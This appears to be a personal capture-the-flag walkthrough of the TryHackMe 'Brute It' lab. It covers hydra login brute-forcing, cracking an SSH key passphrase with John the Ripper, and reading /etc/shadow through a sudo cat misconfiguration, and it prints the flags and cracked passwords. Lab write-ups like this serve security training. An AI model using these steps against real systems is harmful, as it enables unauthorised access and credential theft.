Brute_It

******THM BRUTE IT******
1: Depoly Machine

-----**2: NMAP SCAN**------
sudo nmap -vv -sC -sV -A -O -p- -T5 -Pn 10.10.149.210
	PORTS OPEN

Port 22
	Version #:OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

Port 80
	Version #: Apache httpd 2.4.29 ((Ubuntu))

------3: GOBUSTER SCAN------

gobuster dir -u http://10.10.149.210 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/admin
	Login page for website
Inspect Element
	Hey **john**, if you do not remember, the username is **admin**
	**********USERNAME admin**********
Brute Force
	hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.149.210 http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:Username or password invalid" -f
**********PASSWORD xavier**********
^^^^Flag Found^^^^
	THM{brut3_f0rce_is_e4sy}

----------4. RSA KEY FOUND----------
in ~ rm -rf id_rsa
now nano id_rsa
copy keys
hash with JtR
	python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
Crack with JtR
	john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Password found: rockinroll
JOHN THE RIPPER WILL NOT CRACK THE SAME FILE AGAIN, YOU CAN FIND THE OLD CRACKS IN A FOLDER
	cat /home/kali/.john/john.pot

``````````````````````TROUBLESHOOTING``````````````````````
For some reason whenever I tried to login using ssh -i id_rsa john@10.10.16.71 I was not able to
	I start to do some research and added the key to the .ssh file
	chmod 600 id_rsa
	ssh-add id_rsa
	rockinroll
	ssh -i id_rsa john@10.10.16.71
NOW I AM IN
cat user.txt
THM{a_password_is_not_a_barrier}
sudo -l
   (root) NOPASSWD: /bin/cat
https://gtfobins.github.io/gtfobins/cat/
	LFILE=file_to_read
cat "$LFILE"

LFILE=/root/root.txt
sudo cat “$LFILE”
**********ESCALATE TO ROOT**********
sudo cat /etc/shadow
		or
LFILE=/etc/shadow
sudo cat “$LFILE”
``````````````````````

root:6zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/-OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
echo root:6zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/-OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7::: > root.txt
cat root.txt
MAKE SURE IT IS IN THERE
john root.txt
football